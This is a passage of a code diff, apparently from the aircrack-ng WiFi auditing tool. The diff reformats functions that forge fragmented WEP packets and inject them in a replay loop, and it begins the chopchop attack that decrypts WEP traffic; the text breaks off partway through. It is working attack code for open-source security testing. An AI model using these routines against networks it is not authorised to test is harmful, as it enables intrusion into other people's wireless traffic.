+				pkh.tv_usec = tv.tv_usec;
+				pkh.caplen = caplen;
+				pkh.len = caplen;
+
+				n = sizeof(pkh);
+
+				if (fwrite(&pkh, n, 1, f_cap_out) != 1)
+				{
+					perror("fwrite failed");
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
+
+				n = pkh.caplen;
+
+				if (fwrite(h80211, n, 1, f_cap_out) != 1)
+				{
+					perror("fwrite failed");
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
+
+				fflush(f_cap_out);
+			}
+		}
+	}
+
+	return (0);
 }
 
-int set_clear_arp(unsigned char *buf, unsigned char *smac, unsigned char *dmac) //set first 22 bytes
+static int set_clear_arp(unsigned char * buf,
+						 unsigned char * smac,
+						 unsigned char * dmac) // set first 22 bytes
 {
-    if(buf == NULL)
-        return -1;
+	if (buf == NULL) return -1;
 
-    memcpy(buf, S_LLC_SNAP_ARP, 8);
-    buf[8]  = 0x00;
-    buf[9]  = 0x01; //ethernet
-    buf[10] = 0x08; // IP
-    buf[11] = 0x00;
-    buf[12] = 0x06; //hardware size
-    buf[13] = 0x04; //protocol size
-    buf[14] = 0x00;
-    if(memcmp(dmac, BROADCAST, 6) == 0)
-        buf[15]  = 0x01; //request
-    else
-        buf[15]  = 0x02; //reply
-    memcpy(buf+16, smac, 6);
+	memcpy(buf, S_LLC_SNAP_ARP, 8);
+	buf[8] = 0x00;
+	buf[9] = 0x01; // ethernet
+	buf[10] = 0x08; // IP
+	buf[11] = 0x00;
+	buf[12] = 0x06; // hardware size
+	buf[13] = 0x04; // protocol size
+	buf[14] = 0x00;
+	if (memcmp(dmac, BROADCAST, 6) == 0)
+		buf[15] = 0x01; // request
+	else
+		buf[15] = 0x02; // reply
+	memcpy(buf + 16, smac, 6);
 
-    return 0;
+	return 0;
 }
 
-int set_final_arp(unsigned char *buf, unsigned char *mymac)
+static int set_final_arp(unsigned char * buf, unsigned char * mymac)
 {
-    if(buf == NULL)
-        return -1;
+	if (buf == NULL) return -1;
 
-    //shifted by 10bytes to set source IP as target IP :)
+	// shifted by 10bytes to set source IP as target IP :)
 
-    buf[0] = 0x08; // IP
-    buf[1] = 0x00;
-    buf[2] = 0x06; //hardware size
-    buf[3] = 0x04; //protocol size
-    buf[4] = 0x00;
-    buf[5] = 0x01; //request
-    memcpy(buf+6, mymac, 6); //sender mac
-    buf[12] = 0xA9; //sender IP 169.254.87.197
-    buf[13] = 0xFE;
-    buf[14] = 0x57;
-    buf[15] = 0xC5; //end sender IP
+	buf[0] = 0x08; // IP
+	buf[1] = 0x00;
+	buf[2] = 0x06; // hardware size
+	buf[3] = 0x04; // protocol size
+	buf[4] = 0x00;
+	buf[5] = 0x01; // request
+	memcpy(buf + 6, mymac, 6); // sender mac
+	buf[12] = 0xA9; // sender IP 169.254.87.197
+	buf[13] = 0xFE;
+	buf[14] = 0x57;
+	buf[15] = 0xC5; // end sender IP
 
-    return 0;
+	return 0;
 }
 
-int set_clear_ip(unsigned char *buf, int ip_len) //set first 9 bytes
+static int set_clear_ip(unsigned char * buf, int ip_len) // set first 9 bytes
 {
-    if(buf == NULL)
-        return -1;
+	if (buf == NULL) return -1;
 
-    memcpy(buf, S_LLC_SNAP_IP, 8);
-    buf[8]  = 0x45;
-    buf[10] = (ip_len >> 8)  & 0xFF;
-    buf[11] = ip_len & 0xFF;
+	memcpy(buf, S_LLC_SNAP_IP, 8);
+	buf[8] = 0x45;
+	buf[10] = (ip_len >> 8) & 0xFF;
+	buf[11] = ip_len & 0xFF;
 
-    return 0;
+	return 0;
 }
 
-int set_final_ip(unsigned char *buf, unsigned char *mymac)
+static int set_final_ip(unsigned char * buf, unsigned char * mymac)
 {
-    if(buf == NULL)
-        return -1;
+	if (buf == NULL) return -1;
 
-    //shifted by 10bytes to set source IP as target IP :)
+	// shifted by 10bytes to set source IP as target IP :)
 
-    buf[0] = 0x06; //hardware size
-    buf[1] = 0x04; //protocol size
-    buf[2] = 0x00;
-    buf[3] = 0x01; //request
-    memcpy(buf+4, mymac, 6); //sender mac
-    buf[10] = 0xA9; //sender IP from 169.254.XXX.XXX
-    buf[11] = 0xFE;
+	buf[0] = 0x06; // hardware size
+	buf[1] = 0x04; // protocol size
+	buf[2] = 0x00;
+	buf[3] = 0x01; // request
+	memcpy(buf + 4, mymac, 6); // sender mac
+	buf[10] = 0xA9; // sender IP from 169.254.XXX.XXX
+	buf[11] = 0xFE;
 
-    return 0;
+	return 0;
 }
 
-int do_attack_cfrag( void )
+static int do_attack_cfrag(void)
 {
-    int caplen, n;
-    struct timeval tv;
-    struct timeval tv2;
-    float f, ticks[3];
-    unsigned char bssid[6];
-    unsigned char smac[6];
-    unsigned char dmac[6];
-    unsigned char keystream[128];
-    unsigned char frag1[128], frag2[128], frag3[128];
-    unsigned char clear[4096], final[4096], flip[4096];
-    int isarp;
-    int z, i;
+	int caplen, n;
+	struct timeval tv;
+	struct timeval tv2;
+	float f, ticks[3];
+	unsigned char bssid[6];
+	unsigned char smac[6];
+	unsigned char dmac[6];
+	unsigned char keystream[128];
+	unsigned char frag1[128], frag2[128], frag3[128];
+	unsigned char clear[4096], final[4096], flip[4096];
+	int isarp;
+	int z, i;
 
-    opt.f_fromds = 0;
+	opt.f_fromds = 0;
 
 read_packets:
 
-    if( capture_ask_packet( &caplen, 0 ) != 0 )
-        return( 1 );
+	if (capture_ask_packet(&caplen, 0) != 0) return (1);
 
-    z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-    if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
-        z+=2;
+	z = ((h80211[1] & 3) != 3) ? 24 : 30;
+	if ((h80211[0] & 0x80) == 0x80) /* QoS */
+		z += 2;
 
-    if(caplen < z)
-    {
-        goto read_packets;
-    }
+	if (caplen < z)
+	{
+		goto read_packets;
+	}
 
-    if(caplen > 3800)
-    {
-        goto read_packets;
-    }
+	if (caplen > 3800)
+	{
+		goto read_packets;
+	}
 
-    switch( h80211[1] & 3 )
-    {
-        case  0:
-            memcpy( bssid, h80211 + 16, 6 );
-            memcpy( dmac, h80211 + 4, 6 );
-            memcpy( smac, h80211 + 10, 6 );
-            break;
-        case  1:
-            memcpy( bssid, h80211 + 4, 6 );
-            memcpy( dmac, h80211 + 16, 6 );
-            memcpy( smac, h80211 + 10, 6 );
-            break;
-        case  2:
-            memcpy( bssid, h80211 + 10, 6 );
-            memcpy( dmac, h80211 + 4, 6 );
-            memcpy( smac, h80211 + 16, 6 );
-            break;
-        default:
-            memcpy( bssid, h80211 + 10, 6 );
-            memcpy( dmac, h80211 + 16, 6 );
-            memcpy( smac, h80211 + 24, 6 );
-            break;
-    }
+	switch (h80211[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, h80211 + 16, 6);
+			memcpy(dmac, h80211 + 4, 6);
+			memcpy(smac, h80211 + 10, 6);
+			break;
+		case 1:
+			memcpy(bssid, h80211 + 4, 6);
+			memcpy(dmac, h80211 + 16, 6);
+			memcpy(smac, h80211 + 10, 6);
+			break;
+		case 2:
+			memcpy(bssid, h80211 + 10, 6);
+			memcpy(dmac, h80211 + 4, 6);
+			memcpy(smac, h80211 + 16, 6);
+			break;
+		default:
+			memcpy(bssid, h80211 + 10, 6);
+			memcpy(dmac, h80211 + 16, 6);
+			memcpy(smac, h80211 + 24, 6);
+			break;
+	}
 
-    memset(clear, 0, 4096);
-    memset(final, 0, 4096);
-    memset(flip, 0, 4096);
-    memset(frag1, 0, 128);
-    memset(frag2, 0, 128);
-    memset(frag3, 0, 128);
-    memset(keystream, 0, 128);
+	memset(clear, 0, 4096);
+	memset(final, 0, 4096);
+	memset(flip, 0, 4096);
+	memset(frag1, 0, 128);
+	memset(frag2, 0, 128);
+	memset(frag3, 0, 128);
+	memset(keystream, 0, 128);
+
+	/* check if it's a potential ARP request */
+
+	// its length 68-24 or 86-24 and going to broadcast or a unicast mac (even
+	// first byte)
+	if ((caplen - z == 68 - 24 || caplen - z == 86 - 24)
+		&& (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0] % 2) == 0))
+	{
+		/* process ARP */
+		printf("Found ARP packet\n");
+		isarp = 1;
+		// build the new packet
+		set_clear_arp(clear, smac, dmac);
+		set_final_arp(final, opt.r_smac);
+
+		for (i = 0; i < 14; i++) keystream[i] = (h80211 + z + 4)[i] ^ clear[i];
+
+		// correct 80211 header
+		//         h80211[0] = 0x08;    //data
+		if ((h80211[1] & 3) == 0x00) // ad-hoc
+		{
+			h80211[1] = 0x40; // wep
+			memcpy(h80211 + 4, smac, 6);
+			memcpy(h80211 + 10, opt.r_smac, 6);
+			memcpy(h80211 + 16, bssid, 6);
+		}
+		else // tods
+		{
+			if (opt.f_tods == 1)
+			{
+				h80211[1] = 0x41; // wep+ToDS
+				memcpy(h80211 + 4, bssid, 6);
+				memcpy(h80211 + 10, opt.r_smac, 6);
+				memcpy(h80211 + 16, smac, 6);
+			}
+			else
+			{
+				h80211[1] = 0x42; // wep+FromDS
+				memcpy(h80211 + 4, smac, 6);
+				memcpy(h80211 + 10, bssid, 6);
+				memcpy(h80211 + 16, opt.r_smac, 6);
+			}
+		}
+		h80211[22] = 0xD0; // frag = 0;
+		h80211[23] = 0x50;
 
-    /* check if it's a potential ARP request */
+		// need to shift by 10 bytes; (add 1 frag in front)
+		memcpy(frag1, h80211, z + 4); // copy 80211 header and IV
+		frag1[1] |= 0x04; // more frags
+		memcpy(frag1 + z + 4, S_LLC_SNAP_ARP, 8);
+		frag1[z + 4 + 8] = 0x00;
+		frag1[z + 4 + 9] = 0x01; // ethernet
+		add_crc32(frag1 + z + 4, 10);
+		for (i = 0; i < 14; i++) (frag1 + z + 4)[i] ^= keystream[i];
+		/* frag1 finished */
 
-    //its length 68-24 or 86-24 and going to broadcast or a unicast mac (even first byte)
-    if( (caplen-z == 68-24 || caplen-z == 86-24) && (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0]%2) == 0) )
-    {
-        /* process ARP */
-        printf("Found ARP packet\n");
-        isarp = 1;
-        //build the new packet
-        set_clear_arp(clear, smac, dmac);
-        set_final_arp(final, opt.r_smac);
-
-        for(i=0; i<14; i++)
-            keystream[i] = (h80211+z+4)[i] ^ clear[i];
-
-        // correct 80211 header
-//         h80211[0] = 0x08;    //data
-        if( (h80211[1] & 3) == 0x00 ) //ad-hoc
-        {
-            h80211[1] = 0x40;    //wep
-            memcpy(h80211+4, smac, 6);
-            memcpy(h80211+10, opt.r_smac, 6);
-            memcpy(h80211+16, bssid, 6);
-        }
-        else //tods
-        {
-            if(opt.f_tods == 1)
-            {
-                h80211[1] = 0x41;    //wep+ToDS
-                memcpy(h80211+4 , bssid, 6);
-                memcpy(h80211+10, opt.r_smac, 6);
-                memcpy(h80211+16, smac, 6);
-            }
-            else
-            {
-                h80211[1] = 0x42;    //wep+FromDS
-                memcpy(h80211+4, smac, 6);
-                memcpy(h80211+10, bssid, 6);
-                memcpy(h80211+16, opt.r_smac, 6);
-            }
-        }
-        h80211[22] = 0xD0; //frag = 0;
-        h80211[23] = 0x50;
-
-        //need to shift by 10 bytes; (add 1 frag in front)
-        memcpy(frag1, h80211, z+4); //copy 80211 header and IV
-        frag1[1] |= 0x04; //more frags
-        memcpy(frag1+z+4, S_LLC_SNAP_ARP, 8);
-        frag1[z+4+8] = 0x00;
-        frag1[z+4+9] = 0x01; //ethernet
-        add_crc32(frag1+z+4, 10);
-        for(i=0; i<14; i++)
-            (frag1+z+4)[i] ^= keystream[i];
-        /* frag1 finished */
-
-        for(i=0; i<caplen; i++)
-            flip[i] = clear[i] ^ final[i];
-
-        add_crc32_plain(flip, caplen-z-4-4);
-
-        for(i=0; i<caplen-z-4; i++)
-            (h80211+z+4)[i] ^= flip[i];
-        h80211[22] = 0xD1; // frag = 1;
+		for (i = 0; i < caplen; i++) flip[i] = clear[i] ^ final[i];
 
-        //ready to send frag1 / len=z+4+10+4 and h80211 / len = caplen
-    }
-    else
-    {
-        /* process IP */
-        printf("Found IP packet\n");
-        isarp = 0;
-        //build the new packet
-        set_clear_ip(clear, caplen-z-4-8-4); //caplen - ieee80211header - IVIDX - LLC/SNAP - ICV
-        set_final_ip(final, opt.r_smac);
-
-        for(i=0; i<8; i++)
-            keystream[i] = (h80211+z+4)[i] ^ clear[i];
-
-        // correct 80211 header
-//         h80211[0] = 0x08;    //data
-        if( (h80211[1] & 3) == 0x00 ) //ad-hoc
-        {
-            h80211[1] = 0x40;    //wep
-            memcpy(h80211+4, smac, 6);
-            memcpy(h80211+10, opt.r_smac, 6);
-            memcpy(h80211+16, bssid, 6);
-        }
-        else
-        {
-            if(opt.f_tods == 1)
-            {
-                h80211[1] = 0x41;    //wep+ToDS
-                memcpy(h80211+4 , bssid, 6);
-                memcpy(h80211+10, opt.r_smac, 6);
-                memcpy(h80211+16, smac, 6);
-            }
-            else
-            {
-                h80211[1] = 0x42;    //wep+FromDS
-                memcpy(h80211+4, smac, 6);
-                memcpy(h80211+10, bssid, 6);
-                memcpy(h80211+16, opt.r_smac, 6);
-            }
-        }
-        h80211[22] = 0xD0; //frag = 0;
-        h80211[23] = 0x50;
-
-        //need to shift by 12 bytes;(add 3 frags in front)
-        memcpy(frag1, h80211, z+4); //copy 80211 header and IV
-        memcpy(frag2, h80211, z+4); //copy 80211 header and IV
-        memcpy(frag3, h80211, z+4); //copy 80211 header and IV
-        frag1[1] |= 0x04; //more frags
-        frag2[1] |= 0x04; //more frags
-        frag3[1] |= 0x04; //more frags
-
-        memcpy(frag1+z+4, S_LLC_SNAP_ARP, 4);
-        add_crc32(frag1+z+4, 4);
-        for(i=0; i<8; i++)
-            (frag1+z+4)[i] ^= keystream[i];
-
-        memcpy(frag2+z+4, S_LLC_SNAP_ARP+4, 4);
-        add_crc32(frag2+z+4, 4);
-        for(i=0; i<8; i++)
-            (frag2+z+4)[i] ^= keystream[i];
-        frag2[22] = 0xD1; //frag = 1;
-
-        frag3[z+4+0] = 0x00;
-        frag3[z+4+1] = 0x01; //ether
-        frag3[z+4+2] = 0x08; //IP
-        frag3[z+4+3] = 0x00;
-        add_crc32(frag3+z+4, 4);
-        for(i=0; i<8; i++)
-            (frag3+z+4)[i] ^= keystream[i];
-        frag3[22] = 0xD2; //frag = 2;
-        /* frag1,2,3 finished */
-
-        for(i=0; i<caplen; i++)
-            flip[i] = clear[i] ^ final[i];
-
-        add_crc32_plain(flip, caplen-z-4-4);
-
-        for(i=0; i<caplen-z-4; i++)
-            (h80211+z+4)[i] ^= flip[i];
-        h80211[22] = 0xD3; // frag = 3;
+		add_crc32_plain(flip, caplen - z - 4 - 4);
 
-        //ready to send frag1,2,3 / len=z+4+4+4 and h80211 / len = caplen
-    }
+		for (i = 0; i < caplen - z - 4; i++) (h80211 + z + 4)[i] ^= flip[i];
+		h80211[22] = 0xD1; // frag = 1;
+
+		// ready to send frag1 / len=z+4+10+4 and h80211 / len = caplen
+	}
+	else
+	{
+		/* process IP */
+		printf("Found IP packet\n");
+		isarp = 0;
+		// build the new packet
+		set_clear_ip(
+			clear,
+			caplen - z - 4 - 8
+				- 4); // caplen - ieee80211header - IVIDX - LLC/SNAP - ICV
+		set_final_ip(final, opt.r_smac);
+
+		for (i = 0; i < 8; i++) keystream[i] = (h80211 + z + 4)[i] ^ clear[i];
+
+		// correct 80211 header
+		//         h80211[0] = 0x08;    //data
+		if ((h80211[1] & 3) == 0x00) // ad-hoc
+		{
+			h80211[1] = 0x40; // wep
+			memcpy(h80211 + 4, smac, 6);
+			memcpy(h80211 + 10, opt.r_smac, 6);
+			memcpy(h80211 + 16, bssid, 6);
+		}
+		else
+		{
+			if (opt.f_tods == 1)
+			{
+				h80211[1] = 0x41; // wep+ToDS
+				memcpy(h80211 + 4, bssid, 6);
+				memcpy(h80211 + 10, opt.r_smac, 6);
+				memcpy(h80211 + 16, smac, 6);
+			}
+			else
+			{
+				h80211[1] = 0x42; // wep+FromDS
+				memcpy(h80211 + 4, smac, 6);
+				memcpy(h80211 + 10, bssid, 6);
+				memcpy(h80211 + 16, opt.r_smac, 6);
+			}
+		}
+		h80211[22] = 0xD0; // frag = 0;
+		h80211[23] = 0x50;
+
+		// need to shift by 12 bytes;(add 3 frags in front)
+		memcpy(frag1, h80211, z + 4); // copy 80211 header and IV
+		memcpy(frag2, h80211, z + 4); // copy 80211 header and IV
+		memcpy(frag3, h80211, z + 4); // copy 80211 header and IV
+		frag1[1] |= 0x04; // more frags
+		frag2[1] |= 0x04; // more frags
+		frag3[1] |= 0x04; // more frags
+
+		memcpy(frag1 + z + 4, S_LLC_SNAP_ARP, 4);
+		add_crc32(frag1 + z + 4, 4);
+		for (i = 0; i < 8; i++) (frag1 + z + 4)[i] ^= keystream[i];
+
+		memcpy(frag2 + z + 4, S_LLC_SNAP_ARP + 4, 4);
+		add_crc32(frag2 + z + 4, 4);
+		for (i = 0; i < 8; i++) (frag2 + z + 4)[i] ^= keystream[i];
+		frag2[22] = 0xD1; // frag = 1;
+
+		frag3[z + 4 + 0] = 0x00;
+		frag3[z + 4 + 1] = 0x01; // ether
+		frag3[z + 4 + 2] = 0x08; // IP
+		frag3[z + 4 + 3] = 0x00;
+		add_crc32(frag3 + z + 4, 4);
+		for (i = 0; i < 8; i++) (frag3 + z + 4)[i] ^= keystream[i];
+		frag3[22] = 0xD2; // frag = 2;
+		/* frag1,2,3 finished */
+
+		for (i = 0; i < caplen; i++) flip[i] = clear[i] ^ final[i];
 
+		add_crc32_plain(flip, caplen - z - 4 - 4);
 
-    /* loop resending the packet */
+		for (i = 0; i < caplen - z - 4; i++) (h80211 + z + 4)[i] ^= flip[i];
+		h80211[22] = 0xD3; // frag = 3;
+
+		// ready to send frag1,2,3 / len=z+4+4+4 and h80211 / len = caplen
+	}
+
+	/* loop resending the packet */
 
 	/* Check if airodump-ng is running. If not, print that message */
-    printf( "You should also start airodump-ng to capture replies.\n\n" );
+	printf("You should also start airodump-ng to capture replies.\n\n");
 
-    signal( SIGINT, sighandler );
-    ctrl_c = 0;
+	signal(SIGINT, sighandler);
+	ctrl_c = 0;
 
-    memset( ticks, 0, sizeof( ticks ) );
+	memset(ticks, 0, sizeof(ticks));
 
-    nb_pkt_sent = 0;
+	nb_pkt_sent = 0;
 
-    while( 1 )
-    {
-        if( ctrl_c )
-            goto read_packets;
+	while (1)
+	{
+		if (ctrl_c) goto read_packets;
 
-        /* wait for the next timer interrupt, or sleep */
+		/* wait for the next timer interrupt, or sleep */
 
-        if( dev.fd_rtc >= 0 )
-        {
-            if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
-            {
-                perror( "read(/dev/rtc) failed" );
-                return( 1 );
-            }
-
-            ticks[0]++;
-            ticks[1]++;
-            ticks[2]++;
-        }
-        else
-        {
-            /* we can't trust usleep, since it depends on the HZ */
-
-            gettimeofday( &tv,  NULL );
-            usleep( 1000000/RTC_RESOLUTION );
-            gettimeofday( &tv2, NULL );
-
-            f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
-                        + (float) ( tv2.tv_usec - tv.tv_usec );
-
-            ticks[0] += f / ( 1000000/RTC_RESOLUTION );
-            ticks[1] += f / ( 1000000/RTC_RESOLUTION );
-            ticks[2] += f / ( 1000000/RTC_RESOLUTION );
-        }
-
-        /* update the status line */
-
-        if( ticks[1] > (RTC_RESOLUTION/10) )
-        {
-            ticks[1] = 0;
-            printf( "\rSent %ld packets...(%d pps)\33[K\r", nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)));
-            fflush( stdout );
-        }
-
-        if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION < 1 )
-            continue;
-
-        /* threshold reached */
-
-        ticks[2] = 0;
-
-        if( nb_pkt_sent == 0 )
-            ticks[0] = 0;
-
-        if(isarp)
-        {
-            if( send_packet( frag1, z+4+10+4 ) < 0 )
-                return( 1 );
-            nb_pkt_sent--;
-        }
-        else
-        {
-            if( send_packet( frag1, z+4+4+4 ) < 0 )
-                return( 1 );
-            if( send_packet( frag2, z+4+4+4 ) < 0 )
-                return( 1 );
-            if( send_packet( frag3, z+4+4+4 ) < 0 )
-                return( 1 );
-            nb_pkt_sent-=3;
-        }
-        if( send_packet( h80211, caplen ) < 0 )
-            return( 1 );
-    }
+		if (dev.fd_rtc >= 0)
+		{
+			if (read(dev.fd_rtc, &n, sizeof(n)) < 0)
+			{
+				perror("read(/dev/rtc) failed");
+				return (1);
+			}
+
+			ticks[0]++;
+			ticks[1]++;
+			ticks[2]++;
+		}
+		else
+		{
+			/* we can't trust usleep, since it depends on the HZ */
+
+			gettimeofday(&tv, NULL);
+			usleep(1000000 / RTC_RESOLUTION);
+			gettimeofday(&tv2, NULL);
+
+			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
+				+ (float) (tv2.tv_usec - tv.tv_usec);
+
+			ticks[0] += f / (1000000 / RTC_RESOLUTION);
+			ticks[1] += f / (1000000 / RTC_RESOLUTION);
+			ticks[2] += f / (1000000 / RTC_RESOLUTION);
+		}
+
+		/* update the status line */
+
+		if (ticks[1] > RTC_RESOLUTION / 10)
+		{
+			ticks[1] = 0;
+			printf("\rSent %lu packets...(%d pps)",
+				   nb_pkt_sent,
+				   (int) ((double) nb_pkt_sent
+						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
+			fflush(stdout);
+			erase_line(0);
+			printf("\r");
+		}
+
+		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION < 1) continue;
 
-    return( 0 );
+		/* threshold reached */
+
+		ticks[2] = 0;
+
+		if (nb_pkt_sent == 0) ticks[0] = 0;
+
+		if (isarp)
+		{
+			if (send_packet(frag1, z + 4 + 10 + 4) < 0) return (1);
+			nb_pkt_sent--;
+		}
+		else
+		{
+			if (send_packet(frag1, z + 4 + 4 + 4) < 0) return (1);
+			if (send_packet(frag2, z + 4 + 4 + 4) < 0) return (1);
+			if (send_packet(frag3, z + 4 + 4 + 4) < 0) return (1);
+			nb_pkt_sent -= 3;
+		}
+		if (send_packet(h80211, caplen) < 0) return (1);
+	}
+
+	return (0);
 }
 
-int do_attack_chopchop( void )
+static int do_attack_chopchop(void)
 {
-    float f, ticks[4];
-    int i, j, n, z, caplen, srcz;
-    int data_start, data_end, srcdiff, diff;
-    int guess, is_deauth_mode;
-    int nb_bad_pkt;
-    int tried_header_rec=0;
+	float f, ticks[4];
+	int i, j, n, z, caplen, srcz;
+	int data_start, data_end, srcdiff, diff;
+	int guess, is_deauth_mode;
+	int nb_bad_pkt;
+	int tried_header_rec = 0;
+
+	unsigned char b1 = 0xAA;
+	unsigned char b2 = 0xAA;
+
+	FILE * f_cap_out;
+	long nb_pkt_read;
+	unsigned long crc_mask;
+	unsigned char * chopped;
+
+	unsigned char packet[4096];
+
+	time_t tt;
+	struct tm * lt;
+	struct timeval tv;
+	struct timeval tv2;
+	struct pcap_file_header pfh_out;
+	struct pcap_pkthdr pkh;
+
+	if (getnet(NULL, 1, 0) != 0) return 1;
+
+	srand(time(NULL));
+
+	if (capture_ask_packet(&caplen, 0) != 0) return (1);
+
+	z = ((h80211[1] & 3) != 3) ? 24 : 30;
+	if ((h80211[0] & 0x80) == 0x80) /* QoS */
+		z += 2;
+	srcz = z;
+
+	if ((unsigned) caplen > sizeof(srcbuf)
+		|| (unsigned) caplen > sizeof(h80211))
+		return (1);
 
-    unsigned char b1 = 0xAA;
-    unsigned char b2 = 0xAA;
+	if (opt.r_smac_set == 1)
+	{
+		// handle picky APs (send one valid packet before all the invalid ones)
+		memset(packet, 0, sizeof(packet));
 
-    FILE *f_cap_out;
-    long nb_pkt_read;
-    unsigned long crc_mask;
-    unsigned char *chopped;
+		memcpy(packet, NULL_DATA, 24);
+		memcpy(packet + 4, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
+		memcpy(packet + 10, opt.r_smac, 6);
+		memcpy(packet + 16, opt.f_bssid, 6);
 
-    unsigned char packet[4096];
+		packet[0] = 0x08; // make it a data packet
+		packet[1] = 0x41; // set encryption and ToDS=1
 
-    time_t tt;
-    struct tm *lt;
-    struct timeval tv;
-    struct timeval tv2;
-    struct pcap_file_header pfh_out;
-    struct pcap_pkthdr pkh;
+		memcpy(packet + 24, h80211 + z, caplen - z);
 
+		if (send_packet(packet, caplen - z + 24) != 0) return (1);
+		// done sending a correct packet
+	}
 
-    if(getnet(NULL, 1, 0) != 0)
-        return 1;
+	/* Special handling for spanning-tree packets */
+	if (memcmp(h80211 + 4, SPANTREE, 6) == 0
+		|| memcmp(h80211 + 16, SPANTREE, 6) == 0)
+	{
+		b1 = 0x42;
+		b2 = 0x42;
+	}
 
-    srand( time( NULL ) );
+	printf("\n");
 
-    if( capture_ask_packet( &caplen, 0 ) != 0 )
-        return( 1 );
+	/* chopchop operation mode: truncate and decrypt the packet */
+	/* we assume the plaintext starts with  AA AA 03 00 00 00   */
+	/* (42 42 03 00 00 00 for spanning-tree packets)            */
 
-    z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-    if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
-        z+=2;
-    srcz = z;
+	memcpy(srcbuf, h80211, caplen);
 
-    if( (unsigned)caplen > sizeof(srcbuf) || (unsigned)caplen > sizeof(h80211) )
-        return( 1 );
+	/* setup the chopping buffer */
 
-    if( opt.r_smac_set == 1 )
-    {
-        //handle picky APs (send one valid packet before all the invalid ones)
-        memset(packet, 0, sizeof(packet));
+	n = caplen - z + 24;
 
-        memcpy( packet, NULL_DATA, 24 );
-        memcpy( packet +  4, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 );
-        memcpy( packet + 10, opt.r_smac,  6 );
-        memcpy( packet + 16, opt.f_bssid, 6 );
-
-        packet[0] = 0x08; //make it a data packet
-        packet[1] = 0x41; //set encryption and ToDS=1
-
-        memcpy( packet+24, h80211+z, caplen-z);
-
-        if( send_packet( packet, caplen-z+24 ) != 0 )
-            return( 1 );
-        //done sending a correct packet
-    }
+	if ((chopped = (unsigned char *) malloc(n)) == NULL)
+	{
+		perror("malloc failed");
+		return (1);
+	}
 
-    /* Special handling for spanning-tree packets */
-    if ( memcmp( h80211 +  4, SPANTREE, 6 ) == 0 ||
-        memcmp( h80211 + 16, SPANTREE, 6 ) == 0 )
-    {
-        b1 = 0x42; b2 = 0x42;
-    }
+	memset(chopped, 0, n);
 
-    printf( "\n" );
+	data_start = 24 + 4;
+	data_end = n;
+	srcdiff = z - 24;
 
-    /* chopchop operation mode: truncate and decrypt the packet */
-    /* we assume the plaintext starts with  AA AA 03 00 00 00   */
-    /* (42 42 03 00 00 00 for spanning-tree packets)            */
+	chopped[0] = 0x08; /* normal data frame */
+	chopped[1] = 0x41; /* WEP = 1, ToDS = 1 */
 
-    memcpy( srcbuf, h80211, caplen );
+	/* copy the duration */
 
-    /* setup the chopping buffer */
+	memcpy(chopped + 2, h80211 + 2, 2);
 
-    n = caplen - z + 24;
+	/* copy the BSSID */
 
-    if( ( chopped = (unsigned char *) malloc( n ) ) == NULL )
-    {
-        perror( "malloc failed" );
-        return( 1 );
-    }
+	switch (h80211[1] & 3)
+	{
+		case 0:
+			memcpy(chopped + 4, h80211 + 16, 6);
+			break;
+		case 1:
+			memcpy(chopped + 4, h80211 + 4, 6);
+			break;
+		case 2:
+			memcpy(chopped + 4, h80211 + 10, 6);
+			break;
+		default:
+			memcpy(chopped + 4, h80211 + 10, 6);
+			break;
+	}
 
-    memset( chopped, 0, n );
+	/* copy the WEP IV */
 
-    data_start = 24 + 4;
-    data_end   = n;
-    srcdiff = z-24;
+	memcpy(chopped + 24, h80211 + z, 4);
 
-    chopped[0] = 0x08;  /* normal data frame */
-    chopped[1] = 0x41;  /* WEP = 1, ToDS = 1 */
+	/* setup the xor mask to hide the original data */
 
-    /* copy the duration */
+	crc_mask = 0;
 
-    memcpy( chopped + 2, h80211 + 2, 2 );
+	for (i = data_start; i < data_end - 4; i++)
+	{
+		switch (i - data_start)
+		{
+			case 0:
+				chopped[i] = b1 ^ 0xE0;
+				break;
+			case 1:
+				chopped[i] = b2 ^ 0xE0;
+				break;
+			case 2:
+				chopped[i] = 0x03 ^ 0x03;
+				break;
+			default:
+				chopped[i] = 0x55 ^ (i & 0xFF);
+				break;
+		}
 
-    /* copy the BSSID */
+		crc_mask
+			= crc_tbl[crc_mask & 0xFF] ^ (crc_mask >> 8) ^ (chopped[i] << 24);
+	}
 
-    switch( h80211[1] & 3 )
-    {
-        case  0: memcpy( chopped + 4, h80211 + 16, 6 ); break;
-        case  1: memcpy( chopped + 4, h80211 +  4, 6 ); break;
-        case  2: memcpy( chopped + 4, h80211 + 10, 6 ); break;
-        default: memcpy( chopped + 4, h80211 + 10, 6 ); break;
-    }
+	for (i = 0; i < 4; i++)
+		crc_mask = crc_tbl[crc_mask & 0xFF] ^ (crc_mask >> 8);
 
-    /* copy the WEP IV */
+	chopped[data_end - 4] = crc_mask;
+	crc_mask >>= 8;
+	chopped[data_end - 3] = crc_mask;
+	crc_mask >>= 8;
+	chopped[data_end - 2] = crc_mask;
+	crc_mask >>= 8;
+	chopped[data_end - 1] = crc_mask;
+	crc_mask >>= 8;
 
-    memcpy( chopped + 24, h80211 + z, 4 );
+	for (i = data_start; i < data_end; i++) chopped[i] ^= srcbuf[i + srcdiff];
 
-    /* setup the xor mask to hide the original data */
+	data_start += 6; /* skip the SNAP header */
 
-    crc_mask = 0;
+	/* if the replay source mac is unspecified, forge one */
 
-    for( i = data_start; i < data_end - 4; i++ )
-    {
-        switch( i - data_start )
-        {
-            case  0: chopped[i] = b1 ^ 0xE0; break;
-            case  1: chopped[i] = b2 ^ 0xE0; break;
-            case  2: chopped[i] = 0x03 ^ 0x03; break;
